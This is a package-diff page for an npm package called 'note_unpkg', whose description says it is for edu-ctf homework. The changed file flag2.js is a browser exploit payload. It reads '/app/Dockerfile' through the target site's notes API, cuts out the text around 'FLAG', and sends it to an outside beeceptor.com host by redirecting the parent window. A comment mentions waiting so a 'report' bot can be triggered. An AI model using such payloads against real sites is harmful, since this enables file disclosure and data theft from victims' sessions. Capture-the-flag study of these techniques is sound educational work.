note_unpkg 1.0.12 → 1.0.13

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/flag2.js +3 -2
  2. package/package.json +1 -1
package/flag2.js CHANGED
@@ -4,7 +4,7 @@ async function go() {
4
4
  //window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
5
5
 
6
6
  const id = "/app/Dockerfile"
7
- let flag = await fetch("/api/notes?id=" + id).then(res => res.json()).then(res => res.content);
7
+ let flag = await fetch("/api/notes?id=" + id).then(res => res.json().content);
8
8
  //.then(res => window.parent.location = "https://o4o55555.free.beeceptor.com?q=success")
9
9
  //.catch(err => window.parent.location = "https://o4o55555.free.beeceptor.com?q=fail")
10
10
  // let flag = await fetch("/api/notes?id=" + id).then(res => res.text())
@@ -12,7 +12,8 @@ async function go() {
12
12
  // sleep for a while so I have time to press "report"
13
13
  await new Promise(r => setTimeout(r, 2000));
14
14
 
15
- window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag.replace(/^\s+|\s+$/g, '');
15
+ let i = flag.indexOf("FLAG");
16
+ window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag.slice(i, i + 30);
16
17
  };
17
18
  go();
18
19
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note_unpkg",
3
- "version": "1.0.12",
3
+ "version": "1.0.13",
4
4
  "description": "for edu-ctf homework",
5
5
  "main": "index.js",
6
6
  "scripts": {